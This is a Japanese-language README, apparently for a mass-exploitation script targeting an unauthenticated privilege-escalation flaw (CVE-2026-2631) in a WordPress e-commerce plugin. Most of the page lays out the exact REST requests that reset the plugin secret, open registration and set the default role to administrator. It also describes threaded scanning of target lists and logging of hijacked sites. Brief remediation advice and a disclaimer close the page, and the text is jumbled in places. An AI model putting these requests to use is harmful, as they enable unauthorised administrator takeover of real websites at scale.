
Datalogics Ecommerce Delivery – Datalogics < 2.6.60 - 未認証の権限昇格
Datalogics Ecommerce Delivery – Datalogics < 2.6.60 - 未認証の権限昇格
PoC / エクスプロイトスクリプト:
CVE-2026-2631.py
著者: Khaled Alenazi (Nxploited) – Nxploited ZeroDay Hub
連絡先: Telegram:@Kxploit
< 2.6.60(2.6.60 未満)CVE-2026-26319.8 (Critical)AV:N/AC:L/PR:N/UI:N/S:U/C:H/I:H/A:HDatalogics Ecommerce Delivery – Datalogics プラグインは、認証なしでアクセス可能なエンドポイントを公開しています:
/wp-json/gsf/v1/update-options
このスクリプトはそのエンドポイントを悪用して、次のことを行います:
resetStoreConfigrations アクションを使用して内部の shop_secret キーをリセットします。users_can_register = 1。administrator に設定:default_role = administrator。wp-login.php?action=register成功した場合、登録フォームを通じて作成された新しいユーザーは administrator になります。
users_can_register = 1default_role = administratorrich を使用したリッチなTUI出力(色付き・ライブ更新テーブル)。Login_admin.txt への結果ログ記録。必要なパッケージをインストール:
pip install -r requirements.txt
requirements.txt の例:
requests
rich
urllib3
または手動でインストール:
pip install requests rich urllib3
各ターゲットに対して:
URLを正規化
http:// を先頭に追加。shop_secret をリセット
/wp-json/gsf/v1/update-optionsaction = resetStoreConfigrationsshop_secret = <new_secret>app secret key has been updated successfullyWordPressオプションを更新
action = createUpdateOptionoption_key = users_can_register、option_value = 1option_key = default_role、option_value = administratorlist.txt(またはカスタムファイル)からすべてのターゲットを読み込みます。chunkify を使用してターゲットを N 個のチャンクに分割します。N 個のワーカースレッドを起動し、各スレッドが自身のターゲットリストを処理します。Queue を使用します。printer_loop)がライブの rich テーブルを更新します:
python3 CVE-2026-2631.py
対話形式で次の入力を求められます:
ターゲットファイル
Targets file (one host/URL per line) [list.txt]:list.txtvictim.comhttps://target-site.comhttp://example.org/blogスレッド数
Threads (1-50) [10]:1050shop_secret の値
shop_secret [Nxploited_newSecret]:Nxploited_newSecretresetStoreConfigrations に送信される新しいシークレットキーです。これらの認証情報は、各脆弱なターゲットへの登録試行に使用されます。
list.txt(または任意のファイル)を1行に1ターゲットずつ作成します:
example1.com
http://example2.com
https://shop.example3.net
blog.target-site.org
スクリプトは次のことを行います:
http:// を自動追加。/ を削除。すべての成功した操作(ユーザー登録が失敗してもオプションが設定されていれば)は、次のファイルに書き込まれます:
Login_admin.txt
典型的な行:
http://example1.com | register_url: http://example1.com/wp-login.php?action=register | shop_secret: Nxploited_newSecret | reset_ok,option_ok,option_ok,register_open,registered user=Nx_test1 [email protected] pass=Nx_adminSA
ライブテーブルでのステータスの例:
SUCCESS – オプションが設定された、および/またはユーザーが登録された。FAILED – リセット/オプションが失敗、脆弱性を悪用できない。ERROR – 例外、ネットワークエラー、タイムアウトなど。POST /wp-json/gsf/v1/update-options
shop_secret をリセットaction=resetStoreConfigrations
shop_secret=<new_secret>
action=createUpdateOption
shop_secret=<new_secret>
option_key=users_can_register
option_value=1
action=createUpdateOption
shop_secret=<new_secret>
option_key=default_role
option_value=administrator
GET/POST /wp-login.php?action=register
スクリプトは:
_wpnonce を抽出します。normalize_site(raw: str) -> str
ターゲットURLを正規化します。
send_reset_secret(site: str, secret: str, timeout: int = 10) -> (bool, str)
resetStoreConfigrations アクションを試行します。
send_option(site: str, secret: str, key: str, value: str, timeout: int = 10) -> (bool, str)
脆弱なエンドポイントを介してWordPressオプションを設定します。
check_registration_open(site: str, timeout: int = 10) -> (bool, str)
登録が有効でフォームにアクセス可能かどうかを確認します。
try_register_user(...) -> (bool, str)
指定されたユーザーの登録を試行します。
write_success_line(site: str, secret: str, detail: str)
成功の詳細を Login_admin.txt にログ記録します。
worker(...)
スレッドごとのワーカーで、以下を実行:
shop_secret をリセット$ python3 CVE-2026-2631.py
[Banner / ASCII Art]
Targets file (one host/URL per line) [list.txt]:
> list.txt
Threads (1-50) [10]:
> 20
shop_secret [Nxploited_newSecret]:
> NxSecret2026!
Registration username [Nx_test1]:
> admin_nx
Registration email [[email protected]]:
> [email protected]
Registration password [Nx_adminSA]:
> SuperStrongP@ss!
[Live table starts showing each target’s status]
Processed 5/20 targets · Output: Login_admin.txt
Done. Successful sites (if any) saved to Login_admin.txt.
防御担当者 / サイト運営者向け:
- 🔁 **プラグインを直ちにバージョン 2.6.60 以降 に更新してください。
- 🧹 以下を確認:
- 不明な管理者がいないかWordPressユーザー一覧。
wp_usersの最近の登録。- 🔑 プラグインが使用するシークレットやキーを再生成します。
- 📜 アクセスログで以下へのアクセスを検査:
/wp-json/gsf/v1/update-options/wp-login.php?action=register- 🧱 機密性の高いRESTエンドポイントへの不正アクセスをブロックするWAFルールを検討してください。
このスクリプトは、教育および許可されたセキュリティテストの目的でのみ提供されます。
- 所有者から明示的な書面による許可を得ずに、このツールをいかなるシステム、アプリケーション、ネットワークにも使用してはなりません。
- 不正アクセス、脆弱性の悪用、乱用は違法であり、刑事責任を問われる可能性があります。
- 本スクリプトの作者(Khaled Alenazi – Nxploited)、貢献者、および配布者は:
- 以下について一切の責任または義務を負いません:
- このコードの誤用
- 直接的または間接的に引き起こされた損害
- 使用によって生じる法的結果
- 本スクリプトを使用することにより、あなたは同意したものとみなされます:
- あなたの行動に対して単独で責任を負うこと。
- 適用されるすべての現地法、国内法、国際法および規制を遵守すること。
- このツールを管理された環境および/または適切な許可(PT/レッドチーム、バグバウンティ、ラボなど)の下でのみ使用すること。
これらの条件に同意できない場合は、このスクリプトを使用しないでください。
CVE-2026-2631@Kxploit安全に、責任を持ってハッキングしてください。🕶️💻
wordpress option has been created or updated successfully登録が有効かどうかを確認
/wp-login.php?action=registerUsers can register、Anyone can register、user_registration、registerformuser registration is currently not allowedユーザー登録を試行
_wpnonce を抽出。user_login、user_emailuser_pass/user_pass2_wpnonce、_wp_http_referer、redirect_to、wp-submit=Registerregistration complete、check your email、user registereduser_already_existsログ記録
Login_admin.txt<site> | register_url: <url> | shop_secret: <secret> | <details>
登録用の認証情報
Registration username [Nx_test1]:Registration email [[email protected]]:Registration password [Nx_adminSA]:printer_loop(queue: Queue, total: int)
キューからメッセージを読み取り、rich のライブテーブルUIを更新します。
main()
以下を統括します: